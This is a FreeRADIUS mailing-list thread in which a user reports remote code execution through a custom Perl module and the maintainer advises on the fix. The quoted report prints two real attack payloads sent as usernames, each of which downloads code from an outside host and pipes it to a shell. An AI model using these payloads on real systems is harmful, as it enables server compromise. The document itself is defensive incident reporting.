Remote code execution vulnerability via Perl module
Alan DeKok
aland at deployingradius.com
Tue Jul 3 17:08:01 CEST 2018
On Jul 3, 2018, at 7:44 AM, David Herselman via Freeradius-Users <freeradius-users at lists.freeradius.org> wrote:
> We had upgraded our infrastructure to FreeRADIUS 2.2.10 due to us receiving a growing number of authentication requests, starting Fri Jun 29 00:48:59 (GMT), which result in FreeRADIUS downloading and executing code.
If you're running an older version of FreeRADIUS, there are known issues.
> Transmitting the following username results in a custom perl module executing the code:
> $(/usr/bin/curl v.kernelupgr.com/d/all|sh)
>
> We have observed another variant of this, which didn't appear to affect us:
> () { :;}; /usr/bin/curl v.kernelupgr.com/d/all|sh
That's largely not the fault of FreeRADIUS. :( It's hard to use Perl securely.
> We've been able to work around the problem by placing the following code near the beginning of our Perl module:
> if ($RAD_REQUEST{'User-Name'} !~ /^[[:alnum:]._-]+$/) { return RLM_MODULE_NOTFOUND; };
>
>
> Any suggestions regarding possibly cleaning other attributes which may result in code execution on the following line?
> &radiusd::radlog(1, "RAD_REQUEST: $_ = $RAD_REQUEST{$_}");
Yeah, as Adam said.. expanding strings with arbitrary input like that is just bad.
On top of that, logging ALL of the packet information to radlog is also a terrible idea. That's what the "detail" file is for.
I'll put some fixes into v3 which make this harder to exploit. But Perl should really only be used for things Unlang can't do. And then used carefully, too.
Alan DeKok.
More information about the Freeradius-Users
mailing list